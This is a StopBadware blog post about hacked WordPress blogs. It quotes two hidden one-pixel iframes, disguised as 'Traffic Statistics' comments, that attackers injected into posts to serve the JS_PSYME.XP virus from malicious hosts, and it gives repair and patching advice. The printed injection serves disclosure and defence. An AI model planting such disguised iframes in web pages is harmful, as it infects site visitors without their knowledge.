StopBadware discussion group sees flurry of hacked WordPress blogs
Posted by Erica George
We like to feature occasional guest posts from members of the StopBadware community. Below, guest poster and StopBadware discussion group volunteer Steven Whitney sheds some light on a recent flurry of attacks on WordPress sites:
The StopBadware discussion group began receiving in January a flurry of reports about WordPress blogs suddenly flagged for badware by Google. The blogs had been hacked, and one or both of the following iframes were injected into their posts:
<!-- Traffic Statistics -->
<iframe src="http://www.wp-stats-php. info/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe>
<!-- End Traffic Statistics -->
<!-- Traffic Statistics -->
<iframe src="http://61.132.75. 71/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe>
<!-- End Traffic Statistics -->
In spite of their innocent-looking labeling, these links weren’t put on the pages by the authors, and they’re not for traffic statistics. The iframes, hosted on sites in Beijing, China, attack a visitor’s computer with the virus JS_PSYME.XP.
In this StopBadware thread about the iframes, a post by member Ty H describes how to use WordPress Site Admin to repair defaced blog posts.
In addition to repairing the pages, webmasters need to close the vulnerability that allows the iframe injections to occur.
On Feb. 5, WordPress issued version 2.3.3, an urgent security release to patch a flaw in xmlrpc.php that allowed a user to edit posts of other users. It’s not stated whether this release is a response to the iframe injections, but the discussion group members who upgraded to WP 2.3.3 have so far not reported recurrences.
New versions of WordPress should always be installed promptly because the popular blogging software is heavily targeted by hackers using automated crawlers. You can register at http://wordpress.org/ to receive email notifications when new versions are announced. Enter your email address in the box at the bottom of the page.
A list of known WordPress vulnerabilities can be found at Secunia.
When users solve problems together in the StopBadware discussion group and report their findings, it helps others who encounter the same problem later.